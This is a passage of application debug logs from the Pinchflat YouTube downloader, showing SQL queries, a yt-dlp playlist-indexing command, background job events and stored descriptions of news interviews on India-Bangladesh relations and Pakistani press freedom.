Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "duration" => 2570, "filename" => "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", "id" => "NDVG7q8x7Ms", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "playlist_index" => 2, "timestamp" => 1767944211, "title" => "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "upload_date" => "20260109"} 14:37:08.110 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1918.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:37:08.112 [debug] QUERY OK source="sources" db=1.4ms idle=1324.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:37:08.114 [debug] QUERY OK source="media_items" db=2.0ms idle=921.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 14:37:09.092 [debug] QUERY OK source="media_items" db=976.5ms idle=923.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "36c5d2cf-6917-4c3c-b9e6-22a12cb1a168", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 14:37:08Z], ~U[2026-01-10 14:37:08Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 14:37:09.093 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=982.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:37:09.094 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=981.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:37:09.096 [debug] QUERY OK source="media_items" db=0.9ms idle=980.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [36] 14:37:09.096 [debug] Current batch of media processed. Will check again in 1000ms 14:37:10.097 [debug] Current batch of media processed. Will check again in 1000ms 14:37:10.735 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLrRjLdo_f3RuXWrY_jpzwW7v8Afo2pQ3C --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/music/%(artist,creator,uploader,uploader_id)S/%(title)S.%(ext)S --extract-audio --format-sort +acodec:mp3 --audio-format mp3 --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/45/2b/452b82d391749e11e802029397332d397b17cdcb72864d1b047e1a55c1d1fead.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 14:37:10.736 [debug] Gracefully stopping file follower 14:37:10.737 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=943.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:37:10.739 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=546.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:37:10.742 [debug] QUERY OK source="media_items" db=2.3ms queue=0.1ms idle=548.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-08 10:22:42Z], 1] 14:37:11.103 [debug] QUERY OK source="media_items" db=359.7ms idle=551.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", "23b7dde6-bcff-4203-a265-cf593152a0c4", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", 1, "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, false, false, 1, [], 1, ~U[2026-01-08 10:22:42Z], ~U[2026-01-10 14:37:10Z], ~U[2026-01-10 14:37:10Z], "#ThePrintUninterrupted\nWhy are journalists being targetted in Pakistan? Prominent journalist Moeed Pirzada speaks to ThePrint on why seven journalists were sentenced to life in a 2023 case in the country and what it means for press freedom in Pakistan\n---------------------------------------------------------------------------------------------\nExclusive content, special privileges & more – Subscribe to ThePrint for Special benefits: https://theprint.in/subscribe/\n---------------------------------------------------------------------------------------------\nConnect with ThePrint\n» Subscribe to ThePrint: https://theprint.in/subscribe/\n» Subscribe to our YouTube Channel: https://bit.ly/3nCMpht\n» Like us on Facebook: https://www.facebook.com/theprintindia\n» Tweet us on Twitter: https://twitter.com/theprintindia\n» Follow us on Instagram: https://www.instagram.com/theprintindia\n» Find us on LinkedIn : https://www.linkedin.com/company/theprint\n» Subscribe to ThePrint on Telegram: https://t.me/ThePrintIndia\n» Find us on Spotify: https://spoti.fi/2NMVlnB\n» Find us on Apple Podcasts: https://apple.co/3pEOta8", "'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'", 1440, false, "lKELVRDjIBc", "https://www.youtube.com/watch?v=lKELVRDjIBc", "/downloads/music/ThePrint/'Munir sentencing journalists to divert attention,silence dissent on bigger changes in Pakistan'.m4a", false, 1, ~U[2026-01-08 10:22:42Z]] 14:37:11.104 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=366.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:37:11.105 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=365.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 07:36:51Z], 1] 14:37:11.963 [debug] QUERY OK source="media_items" db=857.1ms idle=363.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", "fd2761e5-2488-49ed-b7a3-03eef7fe1089", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", 2, "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, false, false, 1, [], 1, ~U[2026-01-09 07:36:51Z], ~U[2026-01-10 14:37:11Z], ~U[2026-01-10 14:37:11Z], "India must moderate the anti-Bangladeshi fury fueled by the media: Jawhar Sircar, former Trinamool Congress Rajya Sabha MP & former Prasar Bharati CEO, to Karan Thapar for The Wire.\n\n..........................................\n\n\nIn an interview where he seeks to explain the many reasons why Bangladeshis have reservations about India as well as the historical character of Hindu-Muslim relations within Bangladesh, the former CEO of Prasar Bharati and former Trinamool Congress Rajya Sabha MP, Jawhar Sircar, has called for India to moderate the anti-Bangladeshi fury sweeping through the country and to “refrain from reacting to every provocation” from Bangladesh.\n\n \n\nMr. Sircar argues that the anti-Bangladeshi fury in India is playing into the hands of extremists and fundamentalists in Bangladesh. In this context, he points out that the decision to force Kolkata Knight Riders to drop Mustafizur Rahman was completely mistaken and wrong. It overlooked the fact that Mustafizur Rahman is an icon and hero for Bangladeshis and in no way responsible for the mistreatment of Hindus in that country. Now, he says, this will encourage ordinary Bangladeshis to turn against India.\n\n \n\nIn the interview, Mr. Sircar explains both Hindu-Muslim relations in Bangladesh as well as Bangladesh’s relationship with India, starting with the way Bengali Hindu Bhadralok dominated Bangladeshi Muslims during two centuries of British rule because of the disproportionate advantage they got from the exploitative zamindari system and from the monopolization of government jobs.\n\n \n\nHe then talks about mistakes India has made in supporting Mujibur Rahman, Sheikh Hasina and, in particular, turning a blind eye to her excesses and growing unpopularity. As he points out, when Sheikh Hasina fell from power “rage against her excesses spilled over as vitriol against India for propping her up.”\n\n \n\nMr. Sircar offers a detailed understanding of the historical evolution of India-Bangladesh relations which explains the present situation between the two countries and how it has emerged. Then, against this background, he talks about the forthcoming Bangladesh elections and why he believes the victory of Tarique Rahman and his Bangladesh Nationalist Party, despite its historical adverse attitude to India, would be the best outcome for New Delhi.\n\n\n\nJoin The Wire's Youtube Membership and get exclusive content, member-only emojis, live interaction with The Wire's founders, editors and reporters and much more. Memberships to The Wire Crew start at Rs 89/month. https://www.youtube.com/channel/UChWtJey46brNr7qHQpN6KLQ/join", "India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar", 2570, false, "NDVG7q8x7Ms", "https://www.youtube.com/watch?v=NDVG7q8x7Ms", "/downloads/music/The Wire/India Must Moderate the Anti-Bangladeshi Fury Fueled by the Media: Jawhar Sircar.m4a", false, 1, ~U[2026-01-09 07:36:51Z]] 14:37:12.005 [debug] QUERY OK source="sources" db=40.8ms queue=0.1ms idle=861.9ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-01-10 14:37:11Z], ~U[2026-01-10 14:37:11Z], 1] 14:37:12.049 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=944.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:37:12.051 [debug] QUERY OK source="media_items" db=1.0ms idle=944.9ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:37:12.052 [debug] QUERY OK source="media_items" db=0.2ms queue=0.1ms idle=253.8ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 14:37:12.780 [debug] QUERY OK source="tasks" db=354.4ms idle=376.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [84, 1, ~U[2026-01-10 14:37:12Z], ~U[2026-01-10 14:37:12Z]] 14:37:12.933 [info] {"args":{"id":1},"id":83,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":26118800,"event":"job:stop","queue_time":66846,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 14:37:27.497 [info] {"source":"oban","duration":2376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:37:55.726 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:37:57.499 [info] {"source":"oban","duration":985,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:00.092 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:38:27.502 [info] {"source":"oban","duration":1909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:38:52.379 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:38:52.398 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:38:52.457 [debug] QUERY OK source="sources" db=56.3ms idle=1189.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:38:52.460 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=1248.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:38:52.484 [debug] QUERY OK source="source_metadata" db=2.4ms idle=1270.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", 